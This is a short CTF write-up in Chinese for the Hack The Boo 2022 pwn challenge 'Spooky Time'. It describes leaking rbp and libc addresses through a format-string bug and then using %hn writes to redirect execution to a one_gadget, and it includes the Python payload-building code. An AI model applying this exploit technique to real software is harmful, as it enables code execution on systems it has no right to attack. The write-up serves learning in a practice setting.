---
# System prepended metadata

title: Hack The Boo 2022 /Spooky Time
tags: [CTF, writeup, PWN]

---

# Hack The Boo 2022 /Spooky Time
###### tags: `CTF`,`PWN`,`writeup`

檔案連結:http://gofile.me/6lhQ2/QZMezYgd6


![](https://i.imgur.com/8BJ1MfD.png)

![](https://i.imgur.com/wcFlSze.png)

兩個輸入點，有format string的問題，一個拿來leak，一個拿來注入，沒有gadget加上又是format string，一定是選用one gadget

![](https://i.imgur.com/c3m0iMn.png)

先用`%49$p%53$p`撈出rbp及libc

再用`%hn`注入libc偏移量及rbp以達成one_gadget條件，r10原本就是NULL不須注入

payload隨便寫很醜

```
one_gadget = one_gadget % 0x100000000
a = (one_gadget//0x10000)
b = (((one_gadget % 0x10000)-(one_gadget//0x10000)+0x10000) % 0x10000)
c = ((rbp//0x100000000)-(one_gadget % 0x10000)+0x10000) % 0x10000
d = ((rbp//0x10000)-(rbp//0x100000000)+0x10000) % 0x10000
e = ((rbp % 0x10000)-((rbp % 0x100000000)//0x10000)+0x10000) % 0x10000
payload = b"%"+str(a).encode("UTF-8")+b"c%18$hn%"+str(b).encode("UTF-8")+b"c%19$hn%"+str(c).encode(
    "UTF-8")+b"c%20$hn%"+str(d).encode("UTF-8")+b"c%21$hn%"+str(e).encode("UTF-8")+b"c%22$hn"
payload = payload.ljust(80, b"\x00")+p64(rbp+10) + \
    p64(rbp+8)+p64(rbp+4)+p64(rbp+2)+p64(rbp)
```







